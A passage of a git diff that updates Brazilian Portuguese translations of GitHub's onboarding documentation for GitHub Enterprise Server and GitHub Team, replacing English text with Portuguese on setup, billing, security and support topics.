+Os integrantes da sua organização ou empresa podem aprender novas habilidades realizando projetos divertidos e realistas no seu repositório do GitHub com [{% data variables.product.prodname_learning %}](https://lab.github.com/). Each course is a hands-on lesson created by the GitHub community and taught by the friendly Learning Lab bot.
 
-For more information, see "[Git and {% data variables.product.prodname_dotcom %} learning resources](/github/getting-started-with-github/quickstart/git-and-github-learning-resources)."
-### 3. Supporting the open source community
+Para obter mais informações, consulte "[Git e recursos de aprendizado de {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/quickstart/git-and-github-learning-resources). "
+### 3. Apoiar a comunidade de código aberto
 {% data reusables.getting-started.sponsors %}
 
-### 4. Contacting {% data variables.contact.github_support %}
+### 4. Entrar em contato com o {% data variables.contact.github_support %}
 {% data reusables.getting-started.contact-support %}
 
-{% data variables.product.prodname_ghe_cloud %} allows you to submit priority support requests with a target eight-hour response time. For more information, see "[{% data variables.product.prodname_ghe_cloud %} support](/github/working-with-github-support/github-enterprise-cloud-support)."
+{% data variables.product.prodname_ghe_cloud %} permite que você envie solicitações de suporte prioritárias com um tempo de resposta de oito horas. Para obter mais informações, consulte "[suporte do {% data variables.product.prodname_ghe_cloud %}](/github/working-with-github-support/github-enterprise-cloud-support)".
diff --git a/translations/pt-BR/content/get-started/onboarding/getting-started-with-github-enterprise-server.md b/translations/pt-BR/content/get-started/onboarding/getting-started-with-github-enterprise-server.md
index 4637e3b623..de909189b0 100644
--- a/translations/pt-BR/content/get-started/onboarding/getting-started-with-github-enterprise-server.md
+++ b/translations/pt-BR/content/get-started/onboarding/getting-started-with-github-enterprise-server.md
@@ -1,126 +1,126 @@
 ---
-title: Getting started with GitHub Enterprise Server
-intro: 'Get started with setting up and managing {% data variables.product.product_location %}.'
+title: Introdução ao GitHub Enterprise Server
+intro: 'Comece a configurar e gerenciar {% data variables.product.product_location %}.'
 versions:
   ghes: '*'
 ---
 
-This guide will walk you through setting up, configuring and managing {% data variables.product.product_location %} as an enterprise administrator.
+Este guia irá ajudar você a configurar e gerenciar {% data variables.product.product_location %} como administrador da empresa.
 
-{% data variables.product.company_short %} provides two ways to deploy {% data variables.product.prodname_enterprise %}.
+{% data variables.product.company_short %} oferece duas maneiras de implantar {% data variables.product.prodname_enterprise %}.
 
 - **{% data variables.product.prodname_ghe_cloud %}**
 - **{% data variables.product.prodname_ghe_server %}**
 
-{% data variables.product.company_short %} hosts {% data variables.product.prodname_ghe_cloud %}. You can deploy and host {% data variables.product.prodname_ghe_server %} in your own datacenter or a supported cloud provider.
+{% data variables.product.company_short %} hospeda {% data variables.product.prodname_ghe_cloud %}. Você pode implantar e hospedar {% data variables.product.prodname_ghe_server %} no seu próprio centro de dados ou em um provedor da nuvem compatível.
 
-For an overview of how {% data variables.product.product_name %} works, see "[System overview](/admin/overview/system-overview)."
+Para obter uma visão geral de como {% data variables.product.product_name %} funciona, consulte "[Visão geral do sistema](/admin/overview/system-overview)".
 
-## Part 1: Installing {% data variables.product.product_name %}
-To get started with {% data variables.product.product_name %}, you will need to create your enterprise account, install the instance, use the Management Console for initial setup, configure your instance, and manage billing. 
-### 1. Creating your enterprise account
-Before you install {% data variables.product.product_name %}, you can create an enterprise account on {% data variables.product.prodname_dotcom_the_website %} by contacting [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact). An enterprise account on {% data variables.product.prodname_dotcom_the_website %} is useful for billing and for shared features with {% data variables.product.prodname_dotcom_the_website %} via {% data variables.product.prodname_github_connect %}.  For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
-### 2. Installing {% data variables.product.product_name %}
-To get started with {% data variables.product.product_name %}, you will need to install the appliance on a virtualization platform of your choice. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/admin/installation/setting-up-a-github-enterprise-server-instance)."
+## Parte 1: Instalar {% data variables.product.product_name %}
+Para começar com {% data variables.product.product_name %}, você deverá criar a conta corporativa, instalar a instância, usar o Console de Gerenciamento para configuração inicial, configurar a sua instância e gerenciar a cobrança.
+### 1. Criando a sua conta corporativa
+Antes de instalar {% data variables.product.product_name %}, você pode criar uma conta corporativa em {% data variables.product.prodname_dotcom_the_website %} entrando em contato com a [](https://enterprise.github.com/contact) equipe de vendas de {% data variables.product.prodname_dotcom %}. Uma conta corporativa em {% data variables.product.prodname_dotcom_the_website %} é útil para a cobrança e para recursos compartilhados com o {% data variables.product.prodname_dotcom_the_website %} via {% data variables.product.prodname_github_connect %}.  Para obter mais informações, consulte "[Sobre contas corporativas](/admin/overview/about-enterprise-accounts)".
+### 2. Instalar o {% data variables.product.product_name %}
+Para começar com {% data variables.product.product_name %}, você deverá instalar o dispositivo em uma plataforma de virtualização de sua escolha. Para obter mais informações, consulte "[Configurar instância do {% data variables.product.prodname_ghe_server %}](/admin/installation/setting-up-a-github-enterprise-server-instance)".
 
-### 3. Using the Management Console
-You will use the Management Console to walk through the initial setup process when first launching {% data variables.product.product_location %}. You can also use the  Management Console to manage instance settings such as the license, domain, authentication, and TLS. For more information, see "[Accessing the management console](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)."
+### 3. Usando o Console de Gerenciamento
+Você usará o Console de Gerenciamento para apresentar o processo de configuração inicial ao iniciar {% data variables.product.product_location %}. Você também pode usar o Console de Gerenciamento para gerenciar configurações de instância, como licença, domínio, autenticação e TLS. Para obter mais informações, consulte "[Acessando o console de gerenciamento](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)".
 
-### 4. Configuring {% data variables.product.product_location %}
-In addition to the Management Console, you can use the site admin dashboard and the administrative shell (SSH) to manage {% data variables.product.product_location %}. For example, you can configure applications and rate limits, view reports, use command-line utilities. For more information, see "[Configuring your enterprise](/admin/configuration/configuring-your-enterprise)."
+### 4. Configurar o {% data variables.product.product_location %};
+Além do console de gerenciamento, você pode usar o painel de administração do site e o shell administrativo (SSH) para gerenciar {% data variables.product.product_location %}. Por exemplo, você pode configurar aplicativos e limites de taxa, ver relatórios, usar utilitários de linha de comando. Para obter mais informações, consulte "[Configurando sua empresa](/admin/configuration/configuring-your-enterprise)".
 
-You can use the default network settings used by {% data variables.product.product_name %} via the dynamic host configuration protocol (DHCP), or you can also configure the network settings using the virtual machine console. You can also configure a proxy server or firewall rules. For more information, see "[Configuring network settings](/admin/configuration/configuring-network-settings)."
+Você pode usar as configurações de rede padrão usadas por {% data variables.product.product_name %} por meio do protocolo de configuração do host dinâmico (DHCP) ou você também pode definir as configurações de rede usando o console de máquina virtual. Você também pode configurar um servidor proxy ou regras de firewall. Para obter mais informações, consulte "[Definindo as configurações de rede](/admin/configuration/configuring-network-settings)".
 
-### 5. Configuring high availability
-You can configure {% data variables.product.product_location %} for high availability to minimize the impact of hardware failures and network outages. For more information, see "[Configuring high availability](/admin/enterprise-management/configuring-high-availability)."
+### 5. Configurar alta disponibilidade
+Você pode configurar {% data variables.product.product_location %} para alta disponibilidade a fim de minimizar o impacto de falhas de hardware e falhas de rede. Para obter mais informações, consulte "[Configurando alta disponibilidade](/admin/enterprise-management/configuring-high-availability)".
 
-### 6. Setting up a staging instance
-You can set up a staging instance to test modifications, plan for disaster recovery, and try out updates before applying them to {% data variables.product.product_location %}.  For more information, see "[Setting up a staging instance](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)."
+### 6. Configurar uma instância de preparo
+Você pode configurar uma instância de preparo para testar modificações, planejar a recuperação de desastres e testar atualizações antes de aplicá-las a {% data variables.product.product_location %}.  Para obter mais informações, consulte "[Configurar instância de preparo](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)".
 
-### 7. Designating backups and disaster recovery
-To protect your production data, you can configure automated backups of {% data variables.product.product_location %} with {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see "[Configuring backups on your appliance](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)."
+### 7. Designando backups e recuperação de desastres
+Para proteger seus dados de produção, você pode configurar backups automatizados de {% data variables.product.product_location %} com {% data variables.product.prodname_enterprise_backup_utilities %}. Para obter mais informações, consulte "[Configurar backups no appliance](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)".
 
-### 8. Managing billing for your enterprise
-Billing for all the organizations and {% data variables.product.product_name %} instances connected to your enterprise account is aggregated into a single bill charge for all of your paid {% data variables.product.prodname_dotcom %}.com services. Enterprise owners and billing managers can access and manage billing settings for enterprise accounts. For more information, see "[Managing billing for your enterprise](/admin/overview/managing-billing-for-your-enterprise)."
+### 8. Gerenciar a cobrança para a sua empresa
+A cobrança para todas as organizações e instâncias de {% data variables.product.product_name %} conectadas à sua conta corporativa é agregada em uma única taxa de cobrança para todos os seus serviços pagos de {% data variables.product.prodname_dotcom %}.com. Proprietários corporativos e gerentes de cobrança podem acessar e gerenciar as configurações de cobrança relativas a contas corporativas. Para obter mais informações, consulte "[Gerenciando a cobrança da sua empresa](/admin/overview/managing-billing-for-your-enterprise)".
 
-## Part 2: Organizing and managing your team
-As an enterprise owner or administrator, you can manage settings on user, repository, team and organization levels. You can manage members of your enterprise, create and manage organizations, set policies for repository management, and create and manage teams.
+## Parte 2: Organização e gerenciamento da sua equipe
+Como proprietário corporativo ou administrador, você pode gerenciar configurações em níveis de usuário, repositório, equipe e organização. É possível gerenciar os integrantes da sua empresa, criar e gerenciar organizações, definir políticas para a gestão do repositório e criar e gerenciar as equipes.
 
-### 1. Managing members of {% data variables.product.product_location %}
+### 1. Gerenciando integrantes de {% data variables.product.product_location %}
 {% data reusables.getting-started.managing-enterprise-members %}
 
-### 2. Creating organizations
+### 2. Criar organizações
 {% data reusables.getting-started.creating-organizations %}
 
-### 3. Adding members to organizations
+### 3. Adicionando integrantes a organizações
 {% data reusables.getting-started.adding-members-to-organizations %}
 
-### 4. Creating teams
+### 4. Criar equipes
 {% data reusables.getting-started.creating-teams %}
 
-### 5. Setting organization and repository permission levels
+### 5. Definindo níveis de permissões para a organização e para o repositório
 {% data reusables.getting-started.setting-org-and-repo-permissions %}
 
-### 6. Enforcing repository management policies
+### 6. Aplicando políticas de gerenciamento do repositório
 {% data reusables.getting-started.enforcing-repo-management-policies %}
 
-## Part 3: Building securely
-To increase the security of {% data variables.product.product_location %}, you can configure authentication for enterprise members, use tools and audit logging to stay in compliance, configure security and analysis features for your organizations, and optionally enable {% data variables.product.prodname_GH_advanced_security %}.
-### 1. Authenticating enterprise members
-You can use {% data variables.product.product_name %}'s built-in authentication method, or you can choose between an established authentication provider, such as CAS, LDAP, or SAML, to integrate your existing accounts and centrally manage user access to {% data variables.product.product_location %}. For more information, see "[Authenticating users for {% data variables.product.product_location %}](/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance)."
+## Parte 3: Criando com segurança
+Para aumentar a segurança de {% data variables.product.product_location %}, você pode configurar a autenticação para integrantes da empresa, usar ferramentas e registro de auditoria para manter a conformidade, configurar recursos de segurança e análise para as suas organizações e, opcionalmente, habilitar {% data variables.product.prodname_GH_advanced_security %}.
+### 1. Efetuando a autenticação dos integrantes da empresa
+Você pode usar o método de autenticação interno do {% data variables.product.product_name %} ou você pode escolher entre um provedor de autenticação estabelecido como o CAS, LDAP, ou SAML, para integrar suas contas existentes e gerenciar centralmente o acesso do usuário a {% data variables.product.product_location %}. Para obter mais informações, consulte "[Autenticando usuários para {% data variables.product.product_location %}](/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance)".
 
-You can also require two-factor authentication for each of your organizations. For more information, see "[Requiring two factor authentication for an organization](/admin/user-management/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization)."
+Você também pode exigir autenticação de dois fatores para cada uma de suas organizações. Para obter mais informações, consulte "[Exigindo a autenticação de dois fatores para uma organização](/admin/user-management/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization)".
 
-### 2. Staying in compliance
-You can implement required status checks and commit verifications to enforce your organization's compliance standards and automate compliance workflows. You can also use the audit log for your organization to review actions performed by your team. For more information, see "[Enforcing policy with pre-receive hooks](/admin/policies/enforcing-policy-with-pre-receive-hooks)" and "[Audit logging](/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging)."
+### 2. Manter a conformidade
+Você pode implementar verificações de status necessárias e realizar verificações de commit para fazer cumprir os padrões de conformidade da sua organização e automatizar os fluxos de trabalho de conformidade. Você também pode usar o log de auditoria para sua organização revisar as ações executadas pela sua equipe. Para obter mais informações, consulte "[Aplicando a política com hooks pre-receive](/admin/policies/enforcing-policy-with-pre-receive-hooks)" e "[Log de auditoria](/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging)".
 
 {% ifversion ghes %}
-### 3. Configuring security features for your organizations
+### 3. Configurar as funcionalidades de segurança para as suas organizações
 {% data reusables.getting-started.configuring-security-features %}
 {% endif %}
 
 {% ifversion ghes %}
-### 4. Enabling {% data variables.product.prodname_GH_advanced_security %} features
-You can upgrade your {% data variables.product.product_name %} license to include {% data variables.product.prodname_GH_advanced_security %}. This provides extra features that help users find and fix security problems in their code, such as code and secret scanning. For more information, see "[{% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)."
+### 4. Habilitando funcionalidades de {% data variables.product.prodname_GH_advanced_security %}
+Você pode atualizar sua licença do {% data variables.product.product_name %} para incluir {% data variables.product.prodname_GH_advanced_security %}. Isso fornece funcionalidades extras que ajudam os usuários a encontrar e corrigir problemas de segurança no seu código como, por exemplo, digitalização de código e segredo. Para obter mais informações, consulte "[{% data variables.product.prodname_GH_advanced_security %} para a sua empresa "](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)".
 {% endif %}
 
-## Part 4: Customizing and automating your enterprise's work on {% data variables.product.prodname_dotcom %}
-You can customize and automate work in organizations in your enterprise with {% data variables.product.prodname_dotcom %} and {% data variables.product.prodname_oauth_apps %}, {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %} , and {% data variables.product.prodname_pages %}.
+## Parte 4: Personalizando e automatizando o trabalho da sua empresa em {% data variables.product.prodname_dotcom %}
+Você pode personalizar e automatizar o trabalho em organizações na sua empresa com a API de {% data variables.product.prodname_dotcom %} e {% data variables.product.prodname_oauth_apps %}, {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %} e {% data variables.product.prodname_pages %}.
 
-### 1. Building {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %}
-You can build integrations with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, such as {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_apps %}, for use in organizations in your enterprise to complement and extend your workflows. For more information, see "[About apps](/developers/apps/getting-started-with-apps/about-apps)."
-### 2. Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API
+### 1. Criando {% data variables.product.prodname_github_apps %} e {% data variables.product.prodname_oauth_apps %}
+Você pode criar integrações com a API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} como, por exemplo, {% data variables.product.prodname_github_apps %} ou {% data variables.product.prodname_oauth_apps %}, para uso em organizações da empresa para complementar e ampliar seus fluxos de trabalho. Para obter mais informações, consulte "[Sobre os aplicativos](/developers/apps/getting-started-with-apps/about-apps)".
+### 2. Usando a API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}
 {% data reusables.getting-started.api %}
 
 {% ifversion ghes %}
-### 3. Building {% data variables.product.prodname_actions %}
+### 3. Criando {% data variables.product.prodname_actions %}
 {% data reusables.getting-started.actions %}
 
-For more information on enabling and configuring {% data variables.product.prodname_actions %} on {% data variables.product.product_name %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)."
+Para obter mais informações sobre como ativar e configurar {% data variables.product.prodname_actions %} em {% data variables.product.product_name %}, consulte "[Primeiros passos com {% data variables.product.prodname_actions %} para {% data variables.product.prodname_ghe_server %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)".
 
-### 4. Publishing and managing {% data variables.product.prodname_registry %} 
+### 4. Publicando e gerenciando {% data variables.product.prodname_registry %}
 {% data reusables.getting-started.packages %}
 
-For more information on enabling and configuring {% data variables.product.prodname_registry %} for {% data variables.product.product_location %}, see "[Getting started with {% data variables.product.prodname_registry %} for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)."
+Para obter mais informações sobre como habilitar e configurar {% data variables.product.prodname_registry %} para {% data variables.product.product_location %}, consulte "[Primeiros passos com {% data variables.product.prodname_registry %} para a sua empresa](/admin/packages/getting-started-with-github-packages-for-your-enterprise)".
 {% endif %}
 
-### 5. Using {% data variables.product.prodname_pages %}
+### 5. Usar {% data variables.product.prodname_pages %}
 {% data reusables.getting-started.github-pages-enterprise %}
 
-## Part 5: Connecting with other {% data variables.product.prodname_dotcom %} resources
-You can use {% data variables.product.prodname_github_connect %} to share resources.
+## Parte 5: Conectando com outros recursos de {% data variables.product.prodname_dotcom %}
+Você pode usar {% data variables.product.prodname_github_connect %} para compartilhar recursos.
 
-If you are the owner of both a {% data variables.product.product_name %} instance and a {% data variables.product.prodname_ghe_cloud %} organization or enterprise account, you can enable {% data variables.product.prodname_github_connect %}. {% data variables.product.prodname_github_connect %} allows you to share specific workflows and features between {% data variables.product.product_location %} and {% data variables.product.prodname_ghe_cloud %}, such as unified search and contributions. For more information, see "[Connecting {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/connecting-github-enterprise-server-to-github-enterprise-cloud)."
+Se você for o proprietário de uma instância de {% data variables.product.product_name %} e uma organização ou conta corporativa de {% data variables.product.prodname_ghe_cloud %}, você poderá habilitar {% data variables.product.prodname_github_connect %}. {% data variables.product.prodname_github_connect %} permite que você compartilhe fluxos de trabalho específicos e recursos entre {% data variables.product.product_location %} e {% data variables.product.prodname_ghe_cloud %}, como pesquisa unificada e contribuições. Para obter mais informações, consulte "[Conectar o {% data variables.product.prodname_ghe_server %} ao {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/connecting-github-enterprise-server-to-github-enterprise-cloud)".
 
-## Part 6: Using {% data variables.product.prodname_dotcom %}'s learning and support resources
-Your enterprise members can learn more about Git and {% data variables.product.prodname_dotcom %} with our learning resources, and you can get the support you need when setting up and managing {% data variables.product.product_location %} with {% data variables.product.prodname_dotcom %} Enterprise Support.
+## Parte 6: Usando o aprendizado de {% data variables.product.prodname_dotcom %} e o suporte recursos
+Os membros da sua empresa podem aprender mais sobre o Git e {% data variables.product.prodname_dotcom %} com os nossos recursos de aprendizagem. e você pode obter o suporte de que precisa ao configurar e gerenciar {% data variables.product.product_location %} com o suporte do enterprise de {% data variables.product.prodname_dotcom %}.
 
-### 1. Reading about {% data variables.product.product_name %} on {% data variables.product.prodname_docs %}
+### 1. Lendo sobre {% data variables.product.product_name %} em {% data variables.product.prodname_docs %}
 
-You can read documentation that reflects the features available with {% data variables.product.prodname_ghe_server %}. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)."
+Você pode ler a documentação que reflete as funcionalidades disponíveis com {% data variables.product.prodname_ghe_server %}. Para obter mais informações, consulte "[Sobre as versões do {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)."
 
-### 2. Learning with {% data variables.product.prodname_learning %}
+### 2. Aprendendo com {% data variables.product.prodname_learning %}
 {% data reusables.getting-started.learning-lab-enterprise %}
 
-### 3. Working with {% data variables.product.prodname_dotcom %} Enterprise Support
+### 3. Trabalhando com o Suporte do Enterprise de {% data variables.product.prodname_dotcom %}
 {% data reusables.getting-started.contact-support-enterprise %}
diff --git a/translations/pt-BR/content/get-started/onboarding/getting-started-with-github-team.md b/translations/pt-BR/content/get-started/onboarding/getting-started-with-github-team.md
index 27e6ee5e6a..b0b8724bbf 100644
--- a/translations/pt-BR/content/get-started/onboarding/getting-started-with-github-team.md
+++ b/translations/pt-BR/content/get-started/onboarding/getting-started-with-github-team.md
@@ -1,99 +1,99 @@
 ---
-title: Getting started with GitHub Team
-intro: 'With {% data variables.product.prodname_team %} groups of people can collaborate across many projects at the same time in an organization account.'
+title: Introdução ao GitHub Team
+intro: 'Com grupos de {% data variables.product.prodname_team %}, as pessoas podem colaborar em vários projetos ao mesmo tempo na conta de uma organização.'
 versions:
   fpt: '*'
 ---
 
-This guide will walk you through setting up, configuring and managing your {% data variables.product.prodname_team %} account as an organization owner.
+Este guia irá ajudar você a configurar e gerenciar sua conta {% data variables.product.prodname_team %} como proprietário da organização.
 
-## Part 1: Configuring your account on {% data variables.product.product_location %}
-As the first steps in starting with {% data variables.product.prodname_team %}, you will need to create a user account or log into your existing account on {% data variables.product.prodname_dotcom %}, create an organization, and set up billing.
+## Parte 1: Configurar sua conta em {% data variables.product.product_location %}
+Como os primeiros passos para começar com {% data variables.product.prodname_team %}, você deverá criar uma conta de usuário ou entrar na sua conta existente em {% data variables.product.prodname_dotcom %}, criar uma organização e configurar a cobrança.
 
-### 1. About organizations
-Organizations are shared accounts where businesses and open-source projects can collaborate across many projects at once. Owners and administrators can manage member access to the organization's data and projects with sophisticated security and administrative features. For more information on the features of organizations, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations#terms-of-service-and-data-protection-for-organizations)."
+### 1. Sobre organizações
+As organizações são contas compartilhadas onde empresas e projetos de código aberto podem colaborar em muitos projetos de uma vez. Os proprietários e administradores podem gerenciar o acesso de integrantes aos dados e projetos da organização com recursos avançados administrativos e de segurança. Para obter mais informações sobre os recursos das organizações, consulte "[Sobre as organizações](/organizations/collaborating-with-groups-in-organizations/about-organizations#terms-of-service-and-data-protection-for-organizations)".
 
-### 2. Creating an organization and signing up for {% data variables.product.prodname_team %}
-Before creating an organization, you will need to create a user account or log in to your existing account on {% data variables.product.product_location %}. For more information, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/get-started/signing-up-for-github/signing-up-for-a-new-github-account)."
+### 2. Criando uma organização e inscrevendo-se em {% data variables.product.prodname_team %}
+Antes de criar uma organização, você deverá criar uma conta de usuário ou efetuar o login na sua conta existente em {% data variables.product.product_location %}. Para obter mais informações, consulte "[Inscrever-se em uma nova conta do {% data variables.product.prodname_dotcom %}](/get-started/signing-up-for-github/signing-up-for-a-new-github-account)".
 
-Once your user account is set up, you can create an organization and pick a plan. This is where you can choose a {% data variables.product.prodname_team %} subscription for your organization. For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)."
+Uma vez que a sua conta de usuário está configurada, você derá criar uma organização e escolher um plano. Aqui é onde você pode escolher uma assinatura de {% data variables.product.prodname_team %} para a sua organização. Para obter mais informações, consulte "[Criar uma nova organização do zero](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)".
 
-### 3. Managing billing for an organization
-You must manage billing settings, payment method, and paid features and products for each of your personal accounts and organizations separately. You can switch between settings for your different accounts using the context switcher in your settings. For more information, see "[Switching between settings for your different accounts](/billing/managing-your-github-billing-settings/about-billing-on-github#switching-between-settings-for-your-different-accounts)."
+### 3. Gerenciando a cobrança para uma organização
+Você deve gerenciar as configurações de cobrança, método de pagamento e produtos pagos para cada uma das suas contas pessoais e organizações separadamente. Você pode alternar entre as configurações para a suas diferentes contas usando o alternador de contexto nas suas configurações. For more information, see "[Switching between settings for your different accounts](/billing/managing-your-github-billing-settings/about-billing-on-github#switching-between-settings-for-your-different-accounts)."
 
-Your organization's billing settings page allows you to manage settings like your payment method, billing cycle and billing email, or view information such as your subscription, billing date and payment history. You can also view and upgrade your storage and GitHub Actions minutes. For more information on managing your billing settings, see "[Managing your {% data variables.product.prodname_dotcom %} billing settings](/billing/managing-your-github-billing-settings)."
+A página de configurações de cobrança da sua organização permite que você gerencie configurações como seu método de pagamento, ciclo de cobrança e e-mail de cobrança, ou visualize informações como a sua assinatura, data de faturamento e histórico de pagamento. Você também pode ver e fazer a atualização do seu armazenamento e dos minutos do GitHub Action. Para obter mais informações sobre como gerenciar suas configurações de cobrança, consulte "[Gerenciando suas configurações de cobrança de {% data variables.product.prodname_dotcom %}](/billing/managing-your-github-billing-settings)".
 
-Only organization members with the *owner* or *billing manager* role can access or change billing settings for your organization. A billing manager is someone  who manages the billing settings for your organization and does not use a paid license in your organization's subscription. For more information on adding a billing manager to your organization, see "[Adding a billing manager to your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization)."
+Apenas os integrantes da organização com a função de *proprietário* ou *gerente de cobrança* podem acessar ou alterar as configurações de cobrança da sua organização. Um gerente de cobrança é um usuário que gerencia as configurações de cobrança para sua organização e não usa uma licença paga na assinatura da sua organização. Para obter mais informações sobre como adicionar um gerente de cobrança à sua organização, consulte "[Adicionando um gerente de cobrança à sua organização](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization)".
 
 
-## Part 2: Adding members and setting up teams
-After creating your organization, you can invite members and set permissions and roles. You can also create different levels of teams and set customized levels of permissions for your organization's repositories, project boards, and apps.
+## Parte 2: Adicionar integrantes e criar equipes
+Depois de criar a sua organização, você poderá convidar integrantes e definir permissões e funções. Você também pode criar diferentes níveis de equipes e definir níveis personalizados de permissões para repositórios da sua organização, quadros de projetos e aplicativos.
 
-### 1. Managing members of your organization
+### 1. Gerenciando integrantes da sua organização
 {% data reusables.getting-started.managing-org-members %}
 
-### 2. Organization permissions and roles
+### 2. Permissões e funções da organização
 {% data reusables.getting-started.org-permissions-and-roles %}
 
-### 3. About and creating teams
+### 3. Sobre e criar equipes
 {% data reusables.getting-started.about-and-creating-teams %}
-### 4. Managing team settings
+### 4. Gerenciando as configurações de equipe
 {% data reusables.getting-started.managing-team-settings %}
 
-### 5. Giving people and teams access to repositories, project boards and apps
+### 5. Dar às pessoas e equipes acesso a repositórios, seções de projetos e aplicativos
 {% data reusables.getting-started.giving-access-to-repositories-projects-apps %}
-## Part 3: Managing security for your organization
-You can help to make your organization more secure by recommending or requiring two-factor authentication for your organization members, configuring security features, and reviewing your organization's audit log and integrations.
+## Parte 3: Gerenciando a segurança da sua organização
+Você pode ajudar a tornar sua organização mais segura ao recomendar ou exigir a autenticação de dois fatores para os integrantes da sua organização, configurando as funcionalidades de segurança e revisando o log de auditoria e integrações da sua organização.
 
-### 1. Requiring two-factor authentication
+### 1. Exigindo a autenticação de dois fatores
 {% data reusables.getting-started.requiring-2fa %}
 
-### 2. Configuring security features for your organization
+### 2. Configurando recursos de segurança para a sua organização
 {% data reusables.getting-started.configuring-security-features %}
 
-### 3. Reviewing your organization's audit log and integrations
+### 3. Revisando o log de auditoria e as integrações da sua organização
 {% data reusables.getting-started.reviewing-org-audit-log-and-integrations %}
 
-## Part 4: Setting organization level policies
-### 1. Managing organization policies
+## Parte 4: Definindo as políticas no nível da organização
+### 1. Gerenciando as políticas da organização
 {% data reusables.getting-started.managing-org-policies %}
-### 2. Managing repository changes
+### 2. Gerenciando alterações de repositório
 {% data reusables.getting-started.managing-repo-changes %}
-### 3. Using organization-level community health files and moderation tools
+### 3. Usando arquivos de saúde da comunidade no nível da organização e as ferramentas de moderação
 {% data reusables.getting-started.using-org-community-files-and-moderation-tools %}
-## Part 5: Customizing and automating your work on {% data variables.product.product_name %}
+## Parte 5: Personalizando e automatizando seu trabalho em {% data variables.product.product_name %}
 
 {% data reusables.getting-started.customizing-and-automating %}
-### 1. Using {% data variables.product.prodname_marketplace %}
+### 1. Usar {% data variables.product.prodname_marketplace %}
 {% data reusables.getting-started.marketplace %}
-### 2. Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API
+### 2. Usando a API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}
 {% data reusables.getting-started.api %}
 
-### 3. Building {% data variables.product.prodname_actions %}
+### 3. Criando {% data variables.product.prodname_actions %}
 {% data reusables.getting-started.actions %}
 
-### 4. Publishing and managing {% data variables.product.prodname_registry %} 
+### 4. Publicando e gerenciando {% data variables.product.prodname_registry %}
 {% data reusables.getting-started.packages %}
 
-## Part 6: Participating in {% data variables.product.prodname_dotcom %}'s community
+## Parte 6: Participando da comunidade de {% data variables.product.prodname_dotcom %}
 {% data reusables.getting-started.participating-in-community %}
-### 1. Contributing to open source projects
+### 1. Contribuindo para projetos de código aberto
 {% data reusables.getting-started.open-source-projects %}
 
-### 2. Interacting with the {% data variables.product.prodname_gcf %}
+### 2. Interagindo com o {% data variables.product.prodname_gcf %}
 {% data reusables.support.ask-and-answer-forum %}
 
-### 3. Reading about {% data variables.product.prodname_team %} on {% data variables.product.prodname_docs %}
-You can read documentation that reflects the features available with {% data variables.product.prodname_team %}. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)."
+### 3. Lendo sobre {% data variables.product.prodname_team %} em {% data variables.product.prodname_docs %}
